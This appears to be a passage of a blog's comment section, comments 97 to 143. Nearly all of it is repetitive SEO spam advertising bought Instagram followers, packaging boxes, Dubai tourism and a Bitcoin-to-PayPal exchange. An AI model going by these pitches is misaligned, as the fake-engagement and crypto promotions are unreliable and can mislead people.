  97. Growing up should be fun for your babies; therefore, it is essential for you to get baby toys for kids that can help them develop physically and mentally. If you would like to buy toys for kids, walmart toys, toys for 1 year olds, cabbage patch kids, that will be instrumental to the growth of your kid, Fisher-Price Deluxe Kick and Play Piano is the perfect item you need.

    ReplyDelete
  98. Everybody wants to increase their followers on Instagram even they are ready to buy followers. Here, they can buy followers Instagram real.
    Here, they can also get instagram likes

    ReplyDelete
  99. Everybody wants to increase their followers on Instagram even they are ready to buy followers. Here, they can Buy instagram followers real.
    Here, they can also Get likes instagram likes

    ReplyDelete

  100. If you want to increase their likes on Instagram even they are ready to buy likes. Here, they can get like instagram free trial.
    Here, they can also get Free viewers instagram

    ReplyDelete
  101. http://movingsmartblog.blogspot.com/2013/03/what-cardboard-boxes-can-teach-kids.html
    http://thesauceofutterpwnage.blogspot.com/2011/01/waking-up-sleeping-dragon.html
    http://aimee-weaver.blogspot.com/2011/02/burlap-covered-storage-box-tutorial.html
    https://austinangck2809.blogspot.com/2016/10/lava-iris-fuel-20-firmware-flash-file.html
    https://itsadaisiyday.blogspot.com/2017/03/kansas-interior-designs-drawing-room.html
    https://puriagatsari.blogspot.com/2016/10/it-gas-nobel-memorial-prize-in-economics.html
    http://krisknits.blogspot.com/2015/09/the-autumn-cloths-are-here.html
    http://ivyandelephants.blogspot.com/2014/06/bucket-list.html
    https://rudythecassol.blogspot.com/2012/03/all-usa-bsnl-nodal-officer-contact.html
    http://sometimescreative.blogspot.com/2012/04/fun-mail_19.html

    ReplyDelete
  102. Everybody wants to increase their likes on Instagram even they are ready to buy likes. Here, they can get like instagram free trial.
    Here, they can also get Free viewers instagram

    ReplyDelete
  103. This is Arick Jhon from Packaging Mines.I am regular reader of your blog. We are both in a same industry.Your thinking about your topic or a business strategy is absolutely right. I am reading your blog's every line and every point describe in a correct way .Thanks for giving me information. We are offering Cosmetic Packaging
    with product designing by wholesale Prices.

    ReplyDelete
  104. If you want to increase your followers on Instagram, join us, and Buy cheap Instagram followers.
    With our help, everybody gets likes on Instagram.

    ReplyDelete
  105. If you want to tour Dubai, this is a great platform for
    travel
    Dubai
    is one of the greatesttourist attractions

    ReplyDelete

  106. If you want to tour Dubai, this is a great platform for
    travel agencies
    Dubai
    is one of the greatest travel and tourism

    ReplyDelete
  107. If you want to tour Dubai, this is a great platform for
    travel agencies
    Dubai
    is one of the greatesttravel and tourism

    ReplyDelete
  108. If you want to tour Dubai, this is a great platform for
    travel agencies
    Dubai
    is one of the greatesttravel and tourism

    ReplyDelete
  109. If you want to tour Dubai, this is a great platform for
    travel agencies
    Dubai
    is one of the greatest travel and tourism

    ReplyDelete
  110. If you want to tour Dubai, this is a great platform for
    tourism
    Dubai
    is one of the greatesttourist place

    ReplyDelete

  111. If you want to tour Dubai, this is a great platform for
    dubai tourism
    Dubai
    is one of the greatestdubai tourist attractions

    ReplyDelete
  112. If you want to tour Dubai, this is a great platform for
    dubai tourism
    Dubai
    is one of the greatestdubai tourist attractions

    ReplyDelete
  113. Are you worried about to get views on Instagram, join us we will help you how to get more views on Instagram. You can also get follower Instagram free with our assistance.

    ReplyDelete
  114. technology skills are
    top ranked skills in the world now. One of the world's modern
    technology pioneer is
    Sonia Randhawa.
    Click to check her achievements.

    ReplyDelete
  115. Igor is a Dallas-Fort Worth wedding photographer that has over 10 years of experience capturing love stories and celebrations, he is also an award winning portrait and engagement photographer that creates passionate and romantic portrait photos for his clients in DFW and around the world. Igor Photography is one of the best wedding photographers in Dallas Fort Worth. Take a look at his fantastic portfolio and see for yourself!

    Dallas Photographers
    Fort Worth Photographers
    DFW Photographers
    Dallas Wedding Photographers

    ReplyDelete
  116. Yes, Without SEO, no one can survive online.
    So why our team of SEO agencies in Bangalore focus completely on Off-page and On-page SEO optimization.If anyone wants to hire us, please feel free to reach us @ weblogicks.com.
    @ weblogicks.com.

    ReplyDelete
  117. I admire the valuable information you offer in your articles.it is very informative and helpful for me

    ReplyDelete
  118. technology skills are
    top ranked skills in the world now. One of the world's modern
    technology pioneer is
    Sonia Randhawa.

    ReplyDelete
  119. The custom printed lipstick boxes inform the customers about the type of lipstick, its shade and other information on its boxes that facilitate females to have a detailed knowledge about the product instead of getting it out of the box.

    lipstick boxes

    ReplyDelete
  120. We offer tees, hoodies, sweaters, raglans, tanks accessories, and more on our website. And all of them are one of a kind custom designs you can’t get elsewhere in normal stores. Let’s discover Familyloves and find your favorites Vva Pickup Vietnam Veteran Wife Face Mask Gift, Coast Guard Direct Access.

    ReplyDelete
  121. Offering an armed forces gift is the best way to reveal you a gratitude for a special soldier or veteran in your life. Whether you’re aiming to celebrate an unique celebration or intend to say thanks to an army member for wonderful sacrifices to safeguard the country, you can locate the perfect and also outclass armed forces presents at Present For Native American members.Native American Jackets, Cheap Fleece Blankets.

    ReplyDelete
  122. visit https://deemasfashion.com/latest-pakistani-bridal-wear/ for a wide range of remarkable pakistani bridal wear

    ReplyDelete
  123. inpowero.com/" rel="dofollow" title="inpowero">

    ReplyDelete
  124. Thanks for sharing! What’s better than letting people know they’re communicating with the real deal? The best site muchfollowers to buy cheap Instagram followers, likes and views!

    ReplyDelete
  125. f you want to read informative blogs, visit Koopjesblog.

    ReplyDelete
  126. If you want to read very informative blogs about sales and discount, visit our blog.

    ReplyDelete
  127. I do not know how you are managing Packaging Boxes. The reason is that the buyers have several options and many websites show a list of templates for this purpose.
    by: short run packaging printing

    ReplyDelete
  128. We are so thankful for your kindness to let us know the shortage of our software.Honor mobile prices

    ReplyDelete
  129. Mind blowing! Your wording is unique.Please write an article on Custom Tuck End Boxes .Thanks again.

    ReplyDelete
  130. Nice Post. Lip Gloss Boxes Cosmetic products are necessary products for every women. If you are dealing in any kind of cosmetic product i.e, lip balm, mascara, lip gloss, and you need packaging for these boxes, like lip gloss boxes then visit CustomBoxesU, We are offering error-free designing and free shipping in all over the USA.

    ReplyDelete
  131. Thanks for sharing this informative article. For more info about Weed monthly Subscription Boxes very beautiful article nice use of pics.

    ReplyDelete
  132. Thankx for sharing this article. Its really informative article. I really enjoy your site I am waiting for new article.
    For More Information

    ReplyDelete

  133. Nice post. For more info about Custom boxes with foam inserts enjoying a lot while reading this beautiful article.

    ReplyDelete
  134. All details you describe in your blog post about Paper cigarette boxes is very informative for me. Paper cigarette boxes provides with suitable price.

    ReplyDelete
  135. Custom boxes.
    visit our website for custom boxes.
    https://procustombox.com/

    ReplyDelete
  136. Amazing!
    Visit our website for Customized Boxes..
    https://procustombox.com/
    https://procustombox.com/hemp-boxes/

    ReplyDelete
  137. I really appreciate the kind of topics you post here. Thanks for sharing us a great information that is actually helpful. Katherine Pierce Leather Jacket

    ReplyDelete
  138. I appreciate your post thanks for sharing the information.
    Perfume box company
    Pie box company

    ReplyDelete
  139. This is very nice and helpful. If You are looking for lip-gloss-boxes or if you want best packaging for product visit this link and get the custom-lip-gloss-boxes
    custom cereal box
    lip-gloss-packaging-wholesale
    custom cereal box

    ReplyDelete
  140. How to exchange Bitcoin to PayPal? Here at this platform, you can exchange Bitcoin and many other currencies through PayPal easily and instantly as well as you are free to exchange between the different crypto coins and can furthermore exchange your coins into real money transferred directly to your PayPal account.

    ReplyDelete
  141. How to exchange Bitcoin to PayPal? Here at this platform, you can exchange Bitcoin and many other currencies through PayPal easily and instantly as well as you are free to exchange between the different crypto coins and can furthermore exchange your coins into real money transferred directly to your PayPal account.

    ReplyDelete
  142. We deliver wholesale custom packaging globally with the best turnaround time in the world. We are specialized in providing custom household boxes to our valued customers.

    ReplyDelete
  143. Find the best discounted kids shirts according to your fashion needs at BrandzHub. It is the most popular online shopping store located in Lahore, Pakistan. Do online clothes shopping in Pakistan ​with BrandzHub and get the maximum discount prices

    ReplyDelete